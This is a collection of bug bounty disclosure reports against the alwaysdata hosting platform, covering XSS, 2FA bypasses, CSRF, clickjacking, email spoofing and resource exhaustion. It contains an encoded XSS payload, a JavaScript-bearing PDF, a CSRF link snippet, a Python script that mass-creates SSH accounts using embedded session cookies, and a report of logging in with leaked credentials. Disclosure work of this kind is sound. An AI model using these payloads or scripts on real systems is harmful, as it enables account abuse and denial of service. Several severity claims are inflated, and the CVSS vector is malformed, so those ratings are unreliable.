Security vulnerabilities

Hello Team,

I hope you are doing well. I found a Encoded XSS and SQL Injection In Registration Page Which is Redirecting to 500 Internal Server Error.

Steps:
1. Go to https://www.alwaysdata.com/en/register/ 2. Input Full Url Encoded XSS(%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e)@mail.com in Email Address and then input password.

3. Click on Login Button.

It will redirect in 500 Internal Server Error.

Impact
Reflected XSS, An attacker can execute malicious javascript codes on the target application (email input specifically). It is highly recommended to fix this one because it is found in sensitive input (email).

Kind Regards.

Waleed Anwar

Bug Bounty Report

Title: MTA-STS Record Not Found for Domain

Severity: High

Summary: The domain alwaysdata.com does not have an MTA-STS (Mail Transfer Agent Strict Transport Security) record configured. MTA-STS is a critical security mechanism that enforces secure connections between mail servers, preventing Man-in-the-Middle (MitM) attacks and enhancing email security. The absence of this record leaves the domain vulnerable to potential interception and tampering of email communications, posing a significant risk to the confidentiality and integrity of sensitive information.

Description: Upon conducting a security assessment, it was observed that the domain alwaysdata.com lacks an MTA-STS record in its DNS configuration. MTA-STS is a crucial security protocol that ensures secure communication channels between mail servers, thereby mitigating the risk of interception and tampering of email traffic.

In the absence of an MTA-STS record, malicious actors could exploit vulnerabilities in email transmission, potentially intercepting sensitive information exchanged between servers. This vulnerability exposes the domain to various security threats, including but not limited to Man-in-the-Middle attacks, eavesdropping, and unauthorized access to confidential data.

Steps to Reproduce:

Go to the MTA-STS TXT record checker tool https://easydmarc.com/tools/mta-sts-check?domain= Observe the absence of an MTA-STS TXT record.
Verify that the domain's DNS configuration does not include any MTA-STS policies.
Impact: The absence of an MTA-STS record for the domain alwaysdata.com has the following impacts:

Security Risk: Without MTA-STS, email communications are vulnerable to interception and tampering by malicious entities, compromising the confidentiality and integrity of sensitive information.
MitM Attacks: Attackers could exploit the lack of secure communication channels to intercept emails, leading to potential data breaches and unauthorized access to confidential data.
Compliance Concerns: Non-compliance with industry standards and best practices regarding email security, potentially leading to regulatory penalties and reputational damage.
Recommendations:

Implement MTA-STS: Configure an MTA-STS policy for the domain alwaysdata.com following the specifications outlined in RFC 8461 to enforce secure communication between mail servers.
Enable TLS Encryption: Ensure that TLS encryption is enabled and properly configured on mail servers to further enhance email security.
Regular Monitoring: Conduct regular audits and monitoring of DNS configurations to identify and address any security vulnerabilities promptly.
Educate Users: Raise awareness among domain administrators and users about the importance of email security practices, including the significance of implementing MTA-STS.
Proof of Concept (PoC): The absence of an MTA-STS record for the domain alwaysdata.com can be verified by performing a DNS lookup for the MTA-STS policy. The lack of an MTA-STS TXT record in the DNS configuration confirms the vulnerability.

Additional Notes: It is imperative to prioritize the implementation of MTA-STS for the domain alwaysdata.com to mitigate the identified security risk effectively. Failure to address this issue promptly could result in severe consequences, including data breaches and compliance violations.

Thank you ,

Sanjith Roshan U

Security Researcher

POC DRIVE LINK:https://drive.google.com/file/d/1mERA_7qmeQ8bRAYuUZFRsuYJqAmm3CgO/view?usp=sharing

Dear Security Team,

Introduction: I hope this message finds you well. I am reaching out to bring to your attention a Critical severity issue that has been identified during my recent assessment: Information Disclosure Vulnerability Report. The details of the vulnerability can be found in the comprehensive report provided below.

Vulnerability Name: NGINX Version 1.14.2 Leaking

Vulnerability Description: The NGINX Server Version Information Leakage Vulnerability exposes sensitive server version details, potentially aiding malicious actors in crafting targeted attacks against vulnerable systems. By exploiting this vulnerability, attackers can ascertain specific NGINX server versions running on target hosts, facilitating the identification of potential security weaknesses or outdated software versions susceptible to known exploits. This information disclosure could lead to unauthorized access, data breaches, or system compromise, posing significant risks to affected organizations' security posture and integrity of their web infrastructure.

Steps To Reproduce:

1. http://overlord2.alwaysdata.com go to this url and intercept this request (In my case: Burp-Suite).
2. Send this request to repeater & Observe Response.

http://overlord2.alwaysdata.com: Server: nginx/1.14.2

Reference :-
https://www.cybersecurity-help.cz/vdb/SB2021052543 www.securityspace.com/smysecure/catid.html?id=1.3.6.1.4.1.25623.1.0.143920

Impact: Malicious actors could craft targeted attacks against vulnerable systems.

The NGINX server version leaking vulnerability exposes organizations to significant risks:
Security Breaches: Attackers can exploit version leakage to identify known vulnerabilities in specific NGINX versions, facilitating targeted attacks.

Information Disclosure: Exposing server versions enables attackers to gather intelligence about the server environment, potentially leading to further exploitation or unauthorized access.

System Compromise: Malicious actors can exploit this vulnerability to launch attacks tailored to specific NGINX versions, potentially leading to system compromise, data theft, or disruption of services.

Mitigation:

1. Update NGINX: Regularly update NGINX to the latest stable version to patch known vulnerabilities and reduce the risk of exploitation.

2. Remove Server Tokens: Configure NGINX to hide version information from HTTP response headers using the server_tokens directive.

3. Security Hardening: Implement security measures like Web Application Firewalls (WAFs) and Intrusion Detection Systems (IDS) to monitor and filter malicious traffic targeting NGINX servers.

4. Error Page Customization: Customize error pages to provide minimal information to potential attackers, avoiding disclosure of server version information.

5. Limit Information Exposure: Minimize information exposure by configuring NGINX to reveal only necessary details in error messages and server responses.

I am committed to assisting you in addressing this issue promptly. Please feel free to contact me for any clarification or assistance in implementing the recommended mitigation measures.

Thank you for your attention to this matter, and I look forward to your prompt action in securing your website.

Best regards,

Sanjith Roshan U

Security Researcher

Title: Access Control Vulnerability in Two-Factor Authentication Management

Summary: This report highlights a security vulnerability related to user account management and two-factor authentication (2FA) within the system. The issue arises when a user invites another user to manage their account, creating a loophole that allows continued access even after 2FA is disabled.

—

Steps to Reproduce:

1. Account Creation:

1. A user creates a new account on[admin.alwaysdata.com].

2. Invite for Account Management:

1. The account owner invites another user to manage their account. The system requires that the invited user enables two-factor authentication on their account to gain management privileges.

3. Two-Factor Authentication Activation:

1. The invited user successfully activates two-factor authentication.

4. Management Access Granted:

1. The invited user can now manage the account of the account owner without restrictions.

5. Disable Two-Factor Authentication:

1. The invited user disables two-factor authentication on their account.

6. Continued Management Access:

1. Despite the deactivation of 2FA, the invited user retains the ability to manage the account of the account owner. This is contrary to the initial requirement that 2FA must be active for management access.

7. Session Management Issues:

1. If the invited user logs out and logs back in, they are prompted to re-enable 2FA to regain management access. However, this inconsistency presents a potential security risk during active sessions, Where the user can keep his session for up to two weeks

—##POC: https://admin.alwaysdata.com/support/81354/

Impact: This vulnerability allows an invited user to maintain management privileges over another user’s account, even after failing to comply with security requirements (2FA). If a malicious element manages to hijack the invited user's session, they can control the account owner’s settings without their consent, leading to potential data breaches

## Security Report: On click Mark all notifications as read in [admin.alwaysdata.com]

Description

When a specific link is sent to another user and clicked, it causes all their notifications to be marked as read

### Steps to Reproduce

1. Log into your account on [admin.alwaysdata.com].
2. Send the link to the user. [https://admin.alwaysdata.com/message/toggle/]
3. The recipient clicks on the link.

All notifications for the user who clicks the link are marked as read.

##POC: https://admin.alwaysdata.com/support/77431/379620-bandicam%202024-09-20%2018-30-42-910.mp4

## Impact

Users may lose track of important notifications. In addition, it raises concerns about the security and integrity of user account management, as an attacker could exploit this vulnerability to manipulate notification statuses.

Title: Two-Factor Authentication Bypass Issue in [admin.alwaysdata.com]

Summary: A vulnerability has been identified that allows an attacker to bypass Two-Factor Authentication (2FA) and manage applications on a user’s account. The attacker can create and delete applications on the account of the user who invited them.

Steps to Reproduce: 1. Create a new account.
2. Add a member to manage your account and activate Two-Factor Authentication (2FA) for that member.
3. Add an application to your account.
4. Log in to the account of the invited member.
5. Navigate to the following link: [https://admin.alwaysdata.com/site/application/script/].
6. Observe that you can create a new application and delete existing applications on the account of the original account holder.

POC: https://drive.google.com/file/d/1v5PbiZaZZK7l30XgdZx7025tsZnDOOf8/view?usp=drivesdk

Impact: Two-Factor Authentication Bypass

Bypassing Two-Factor Authentication via Account Deactivation

Hello Team,

I hope you are doing well. I found a serious issue in https://admin.alwaysdata.com which Bypassing Two-Factor Authentication via Account Deactivation.

The vulnerability arises from a logical flaw in the account recovery and 2FA enforcement processes. Specifically, after deactivating an account, users can takeover and log in without being prompted for 2FA. The 2FA mechanism, which is designed to provide an additional layer of security, is effectively bypassed.

Steps To Reproduce

Go to https://admin.alwaysdata.com and make signup example@gmail.com

Then, go to admin detail section add some details first name, last name etc and activate 2fa.

After, activating 2fa submit and save the details.

After, saving the details click on Delete this profile button on right top side and submit the message what you want.

Your account is deleted without asking password confirmation and 2fa is also deactivated and attacker can easily takeover the account.

Note: This is possible only when user is forgot to login off the account at cafe or something else pc and recreate a account with this email address and reconfigure a 2fa to takeover the account.

Regard,

Waleed Anwar

# Unlimited SSH Server Creation Vulnerability on AlwaysData

## Summary
There is no limit on the number of SSH servers that can be created by a user on the AlwaysData platform. This vulnerability allows for unauthorized resource exhaustion, which could lead to service degradation or denial of service (DoS).

## Steps to Reproduce

1. Log in to your AlwaysData account.
2. Navigate to the SSH server creation page: `https://admin.alwaysdata.com/ssh/add/`.
3. Submit the form to create a new SSH server using a valid name and password.
4. Repeat the above step multiple times with different names like `jhoneone_1002`, `jhoneone_1003`, etc.
5. Observe that there is no limit imposed on the number of SSH servers that can be created, leading to potential resource exhaustion.

## Impact
- Resource Exhaustion: An attacker can create an unlimited number of SSH servers, potentially exhausting the resources allocated to other users on the platform.
- Denial of Service: Continuous server creation could degrade the platform's performance or lead to a denial of service.

## Recommendations
- Implement Limits: Set a reasonable limit on the number of SSH servers that can be created per user.
- Monitor for abnormal SSH server creation patterns and implement rate limiting to prevent abuse.

## Python Script to Exploit the Vulnerability

```python
import requests

# Configuration
url = "https://admin.alwaysdata.com/ssh/add/"
headers = {

  "Host": "admin.alwaysdata.com",
  "Cookie": "csrftoken=dnNRG2ExW88JR4GFKyeRRbD0JMV6E7IH; django_language=en; sessionid=q25k858xtrmg95b2t486xg7snokn99ls",
  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0",
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
  "Accept-Language": "en-US,en;q=0.5",
  "Accept-Encoding": "gzip, deflate",
  "Referer": "https://admin.alwaysdata.com/ssh/add/",
  "Content-Type": "application/x-www-form-urlencoded",
  "Origin": "https://admin.alwaysdata.com",
  "Dnt": "1",
  "Upgrade-Insecure-Requests": "1",
  "Sec-Fetch-Dest": "document",
  "Sec-Fetch-Mode": "navigate",
  "Sec-Fetch-Site": "same-origin",
  "Sec-Fetch-User": "?1",
  "Te": "trailers"

}

# Function to create an SSH server
def create_ssh_server(session, csrf_token, username, password="AAAaaa123###"):

  data = {
      "csrfmiddlewaretoken": csrf_token,
      "name": username,
      "password": password,
      "home_directory": "",
      "shell": "BASH",
      "can_use_password": "on",
      "annotation": "",
      "submit": ""
  }
  response = session.post(url, headers=headers, data=data)
  return response.status_code, response.text

# Main script
if name == "main":

  with requests.Session() as session:
      # Replace the csrf_token below with your own token from your account
      csrf_token = "hpjP7TYZxZLeNcxhqG3fC6vZkwecJIc4kCWwDLsmjXJNu63M047Wj7YPT8Z8dFKB"
      
      for i in range(1002, 1100):  # Create multiple servers
          username = f"jhoneone_{i}"
          status_code, response_text = create_ssh_server(session, csrf_token, username)
          print(f"Status Code: {status_code}, Username: {username}")
          # Optionally, you can log the response_text for debugging purposes

Security Report: Disclosure of Two-Factor Authentication Status in [admin.alwaysdata.com]

Summary:

A vulnerability exists where the two-factor authentication (2FA) status of a user account can be determined by adding the user as an administrator to your account. This issue exposes whether the user has 2FA enabled or not.

Steps to Reproduce:

1. Attempt to Log In with Incorrect Credentials:

1. Start by trying to log in with incorrect credentials. This demonstrates that you cannot determine whether 2FA is enabled based on the failed login attempt alone.

2. Observe the Failed Login Behavior:

1. Note that with incorrect login credentials, it is not possible to ascertain the 2FA status of the user account.

3.You can't know that the account has activated two-factor authentication until you provide the correct credentials and then it will transfer you to the next stage where you will be asked for the two-factor authentication number

4. Add the User as an Administrator:

1. Add the user in question as an administrator to your account.
2. Upon doing so, you will be able to see whether this user has 2FA enabled or not.

I sent a proof of concept:https://admin.alwaysdata.com/support/77431/377370-bandicam%202024-08-26%2019-23-18-853.mp4

Impact:

The ability to determine the 2FA status of a user account can pose a security risk. Attackers who gain administrative access could potentially use this information to tailor their attacks based on whether a target user has an additional layer of security.

*Title: Unauthorized Email Sending Exploit in [alwaysdata.com] Summary: A vulnerability has been discovered in the site's email handling system. The site assigns each user a unique email address. However, it is possible to send an email from any email account, bypassing the intended email restrictions and validation mechanisms. Vulnerability Details: - Type: Email Spoofing
- Impact: Unauthorized email sending
- Affected Component: Email Handling System Description: The application generates a unique email address for each user. However, it is possible to exploit the system to send emails from any arbitrary email address. This issue arises due to insufficient validation of the email sender’s address. Proof of Concept: 1. Exploit Steps: - Use an email client or script to send an email through the application.
- Modify the "From" address to any arbitrary email address, not restricted to the user's assigned address. 2. Result: - The email is sent successfully. Follow the steps in the video: https://admin.alwaysdata.com/support/77431/376905-bandicam%202024-08-20%2003-19-32-375.mp4 Impact:**

This vulnerability allows an attacker to send emails appearing as if they are from any user.

Description: There is clickjacking vulnerability at https://admin.alwaysdata.com/admin/details/ endpoint. And, for deleting a profile, we just need two clicks.

Steps to reproduce:
1) Open your browser and search for https://admin.alwaysdata.com/admin/details/ 2) create an html file that overlays delete this profile icon and then the submit button.

Impact: Admin's account can be deleted in two clicks.

Summary: When uploading images in ticket option, the EXIF metadata is not removed or changed in any way.
Description: When answering in the ticket, you can upload a file, and if you upload an image with EXIF metadata on it, it isn't stripped. This can lead to disclosure of location where photo was taken or other personal information by the photo uploader if their group is public, as anyone can download the logo and check the metadata.
Steps To Reproduce:
1) Create a ticket.
2) Upload an image with exif metadata.
3) Now, download the same image and check the metadata.

Link to POC: https://drive.google.com/file/d/1KflN8xTcF6Gq-0x1wo-n65KkT9ScNHMl/view?usp=sharing

*Title:*: Bypassing Email Address Restriction for Account Creation

*Description:*
The ban on an email can be bypassed

An example is the following e-mail address: "admin@alwaysdata.com"

*Steps to Reproduce:*
1. Attempt to create an account using a blocked email address. The system will display a message stating that the email address is blocked and prevent account creation.
2. Create an account using a different email address.
3. Once the account is successfully created, navigate to the account settings.
4. Change the email address of the account to the previously blocked email address.
5. Save the changes. The email address will be updated to the blocked one, bypassing the initial restriction.

*Impact:*
This issue allows users to circumvent email address restrictions.

*Recommendation:*
Implement server-side checks to ensure that email address restrictions are enforced consistently across all account management functionalities. Additionally, review the email update process to prevent such bypasses.

*POC:*

poc1: https://admin.alwaysdata.com/support/77431/375912-poc.22.png poc2: https://admin.alwaysdata.com/support/77431/375911-bandicam%202024-08-05%2009-36-57-769.mp4

*Title:* Account Creation and Impersonation Vulnerability in [admin.alwaysdata.com]

*Summary:*
It is possible to create a new account on the site using the domain name admin1@alwaysdata.com. After creating this account, the username can be changed to that of a legitimate site administrator. This vulnerability allows the account to generate support tickets and invite users, In this way he can defraud users.

*Steps to Reproduce:*
1. Register a new account on the site using the email admin1@alwaysdata.com , Or by any other name
2. Change the account username to that of a real site administrator.
3. Use the account to create a support ticket and invite users.

poc: https://admin.alwaysdata.com/support/77431/375910-poc.alwaysdata.png

*Impact:*
This vulnerability enables attackers to impersonate site administrators within the support system, Which enables the attacker to impersonate the administrators of the site and deceive users

*Recommendation:*
To mitigate this risk, implement restrictions to prevent the creation of accounts with administrative email domains.

*Title:* Insufficient Validation Allows Multiple Accounts Creation Under Single Subscription Plan

*Description:*
A vulnerability has been identified in the subscription management system which allows users to create multiple accounts under the same subscription plan. This issue can be exploited to bypass restrictions on the number of accounts per plan and gain unauthorized benefits.

*Steps to Reproduce:*

1. *Create an Account:*

1. Sign up for a new account with a specific subscription plan (e.g., "Free Plan").

2. *Create a Duplicate Account:*

1. Attempt to create another account using the same subscription plan as the first account.
2. Notice that the system does not prevent the creation of multiple accounts under the same subscription plan.

3. *Create a Similar Plan Account:*

1. From the newly created account, sign up for a subscription plan similar to the first account's plan.

4. *Send an Invitation:*

1. Send an invitation from the second account to the first account to become an admin of the plan created by the second account.

5. *Accept the Invitation:*

1. After accepting the invitation, the first account will now have two accounts under the same subscription plan.

I sent a proof of concept: https://admin.alwaysdata.com/support/77431/375639-poc.mp4

*Impact:*

This vulnerability allows users to circumvent subscription limitations by creating multiple accounts under the same plan

Good day Team,
This is Unauthorized Access to Admin Page via Exposed Credentials on GitHub

- admin.alwaysdata.com

Summary:
Sensitive credentials for an admin account were found exposed on a public GitHub repository. Using these credentials, an attacker can gain unauthorized access to the admin page of phpmyadmin.alwaysdata.com.

Description:
Credentials for an admin user were discovered using a Google dork on GitHub. The dork revealed an admin username and password that allowed access to the admin page of phpmyadmin.alwaysdata.com.

Steps to Reproduce:

1. Go to GitHub and use the search dork: "admin.alwaysdata.com" password.
2. Identify a public repository containing the admin username and password.
3. Navigate to https://phpmyadmin.alwaysdata.com/.
4. Use the discovered credentials to log in.
5. Observe that you have successfully logged in as an admin user.

Proof of Concept: https://drive.google.com/file/d/12dmKXf-6hwk-VZdozGl2FyvsbiVjDZA6/view?usp=sharing

Impact:
Unauthorized access to sensitive data and administrative functionalities.

Summary:
The removal of account is one of the sensitive part of a web application that needs to protect, therefore removing an account should validate the authenticity of the user, however i have found that when removing an account, the system did not require the user to input the account password.
Steps To Reproduce:
1.Create an account on https://alwaysdata.com
2.Go to My account section DELETE ACCOUNT.
3.Click on delete and you will see it will delete the account without any kind of verification or password confirmation.

Impact
Exploit Scenario: The user logins to a shared computer (office, library, cafe) Left the account open. Intruder came and try to delete the users account Intruder can easily delete the account because the system did not protect it by asking the password to validate that the person deleting the account is the real user.

Regards
Raghav Sharma

POC Link -: https://drive.google.com/file/d/1iu1gb0l44_sTqG2Ol-ZTbLc0ZKHYkO-f/view?usp=drive_link

Vulnerability Explanation-When a user uploads a document containing malicious code, such as JavaScript, to the web application, it gets stored on the server without proper validation or sanitization. This allows an attacker to inject and execute arbitrary scripts within the application's context.

Impact-This vulnerability enables attackers to execute unauthorized scripts on the client-side, leading to session hijacking, data theft, or defacement of the web application. It can compromise user privacy, damage the application's reputation, and potentially expose sensitive information to malicious actors.

Severity-High

Steps to reproduce- 1) go to support https://admin.alwaysdata.com/support/

                      2) Open new ticket 
                      3) upload this code as a.pdf (%PDF-1.3

%����
1 0 obj
«/Pages 2 0 R /Type /Catalog» endobj
2 0 obj
«/Count 1 /Kids [3 0 R] /Type /Pages» endobj
3 0 obj
«/AA

<</O
<</JS
(

try {

app.alert\("xss"\)

} catch \(e\) {

app.alert\(e.message\);

}

  ) 
/S /JavaScript>>>>
/Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
/Resources
<</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
/Type /Page>>

endobj
4 0 obj
«/Length 21» stream

BT
/F1 24 Tf
ET

endstream
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000062 00000 n
0000000117 00000 n
0000000424 00000 n
trailer

«/Root 1 0 R /Size 5» startxref
493
%%EOF)

4) upload this file
5)Open this ticket
6) click on ulpaded malicious pdf file it will refelct

• Vulnerability Explanation-When a user uploads a document containing malicious code, such as JavaScript, to the web application, it gets stored on the server without proper validation or sanitization. This allows an attacker to inject and execute arbitrary scripts within the application's context.

• Impact-This vulnerability enables attackers to execute unauthorized scripts on the client-side, leading to session hijacking, data theft, or defacement of the web application. It can compromise user privacy, damage the application's reputation, and potentially expose sensitive information to malicious actors.

• Severity-High

• Steps to reproduce- 1) go to support https://admin.alwaysdata.com/support/

*Title: Critical Security Vulnerability: Unauthorized Account Deletion via Limited Permissions* in [admin.alwaysdata.com]

Summary:*
During my investigation, I discovered a significant security flaw in the system's account management feature.

*Description:*
The system allows users to invite others to manage their accounts with varying permissions, including the ability to enforce two-factor authentication (2FA) before accessing account management privileges.

*Vulnerability Details:*
I identified a vulnerability wherein an invited user, even without sufficient permissions or 2FA activation, can delete the inviting user's account from their own account. This deletion occurs regardless of whether 2FA was enabled during the invitation process.

*Steps to Reproduce the Bug:*
1. Create two accounts.
2. Invite a user to administer your account and enable 2FA.
3. From the invited user's account, delete the account of the inviting user.
4. Observe that the inviting user's account is permanently deleted, despite prior 2FA activation or the absence of sufficient permissions granted.

I sent proof of concept: https://admin.alwaysdata.com/support/77431/374527-bandicam%202024-07-17%2003-48-55-255.mp4

*Impact:*

This security vulnerability poses a significant risk to user accounts within the system. It allows an invited user, even with limited permissions and without activating two-factor authentication (2FA), to permanently delete the account of the inviting user. This action occurs despite security measures initially set up, such as 2FA activation during the invitation process or inadequate administrative permissions granted.

On-click Delete any invitation in [admin.alwaysdata.com]

*Summary:*
The [Create My Own Site] web application system is vulnerable to a click grabbing attack that allows an attacker to trick the user into deleting invitations that they have sent or received without their knowledge.

*Reproduction steps:*
1. Send an invitation to another user.
2. Receive an invitation and try it on the other account.
3. Get the direct link to the invitation and add the /cancel/ command to the URL.
4. Create an HTML proof-of-concept file with the following content:

Programming Language

<a href="https://admin.alwaysdata.com/transfer/Invitation_Number/cancel/----">Click</a>

5. Host this HTML page or send it via link to the victim.
6. Once the victim clicks on the masked link, the invitation is deleted without their explicit consent or knowledge.

An attacker could use their location and attach an HTML file instead of sending a file that the user clicks.

I have sent a proof of concept:
https://admin.alwaysdata.com/support/77431/374245-bandicam%202024-07-14%2007-00-17-624.mp4

*Impact:*
The exploit allows the deletion of any invitation that the user has sent or reached another user without his consent.

*Vulnerability Summary: Unauthorized Account Takeover via Invitation Exploitation in [admin.alwaysdata.com] Vulnerability Description: A critical security vulnerability was identified in the account invitation process of [Service that allows the user to create a site]. This vulnerability allowed an unauthorized user to gain administrative control over another user's account through the invitation feature. Below is a detailed timeline of events leading to the account takeover: 1. Account Creation: - A user (referred to as User A) created an account on [Service that allows the user to create a site]. 2. Incorrect Invitation: - User A intended to invite a member to become an administrator but mistakenly sent the invitation to another user (User B). 3. Invitation Deletion: - Realizing the mistake, User A promptly deleted the invitation intended for User B. 4. Correct Invitation: - User A subsequently invited their colleague (referred to as User C) to become an administrator of their account. 5. Acceptance by Colleague: - User C accepted the invitation, assuming administrative rights as intended by User A. 6. Unauthorized Acceptance: - Meanwhile, User B, who received the initial invitation in error, noticed the invitation and, potentially unaware of the implications, accepted it. 7. Account Takeover:**

1. By accepting the invitation, User B gained administrative access to User A's account, effectively taking ownership of the account.

I've sent a proof of concept: [REDACTED]

Impact:
Account Takeover

Summary:

A vulnerability was discovered where a user with an existing account is not sent an invitation link when added to an organization, potentially leading to confusion and unauthorized access.

Impact:

- User unable to access organization resources
- Potential unauthorized access to sensitive information
- Increased risk of account takeover

Expected Result:

- User with an existing account should receive an invitation link to join the organization
- User should be prompted to accept the invitation and join the organization

Actual Result:

- No invitation link is sent to the user
- User is not prompted to accept the invitation and join the organization

Severity according to CVSS 3:

- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Sensitivity (S): Medium (M)
- Confidentiality (C): Medium (M)
- Integrity (I): Medium (M)
- Availability (A): Medium (M)

CVSS 3 Score: 6.5 (Medium)

Steps to Reproduce:

1. Add a user with an existing account to an organization
2. Observe no invitation link being sent to the user
3. Verify the user's inability to access organization resources

Recommended Fix:

1. Implement automatic invitation link sending for existing users
2. Ensure users receive a prompt to accept the invitation and join the organization
3. Validate user accounts and organization membership to prevent unauthorized access

Conclusion:

This vulnerability poses a medium risk to user access and organization security. Implementing automatic invitation link sending for existing users will ensure proper access and prevent unauthorized access attempts.

Summary:

A vulnerability was discovered where the delete account functionality lacks password confirmation and is vulnerable to GET-based CSRF, potentially allowing attackers to delete accounts without authorization.

Impact:

- Unauthorized account deletion
- Potential data loss
- Increased risk of account takeover

Expected Result:

- Password confirmation should be required to delete an account
- CSRF protection should prevent unauthorized requests

Actual Result:

- No password confirmation is required to delete an account
- GET-based CSRF vulnerability allows unauthorized account deletion

Steps to Reproduce:

1. Login to the application
2. Trick the user into clicking a malicious link to delete their account: https://admin.alwaysdata.com/admin/details/1/delete 3. User click submit
4. Observe the account being deleted without password confirmation

Recommended Fix:

1. Implement password confirmation requirement for delete account functionality
2. Implement CSRF protection for delete account functionality
3. Validate requests to prevent unauthorized account deletion

Conclusion:

This vulnerability poses a critical risk to user accounts and data. Implementing password confirmation and CSRF protection for delete account functionality will prevent unauthorized account deletion and ensure the security and integrity of user accounts.

Summary:
A vulnerability was discovered where a user who is not given permission on invite is still able to create a new organization, potentially leading to unauthorized access and data breaches.

Impact:

- Unauthorized access to sensitive information
- Potential data breaches
- Increased risk of account takeover

Expected Result:

- User without permission should not be able to create a new organization
- User should only be added to the organization with proper permission

Actual Result:

- User without permission is given a new organization on accepting invite
- User is added to the new organization with unnecessary permissions

Steps to Reproduce:

1. Invite a user without permission
2. Observe the user creating a new organization
3. Verify the user's unnecessary permissions in the new organization

Recommended Fix:
1. Implement permission checks to prevent unauthorized organization creation
2. Ensure users are only added to organizations with proper permission
3. Validate user permissions on each request to prevent abuse

Conclusion:

This vulnerability poses a critical risk to sensitive information and user accounts. Implementing proper permission checks and validation will prevent unauthorized access and ensure the security and integrity of user accounts.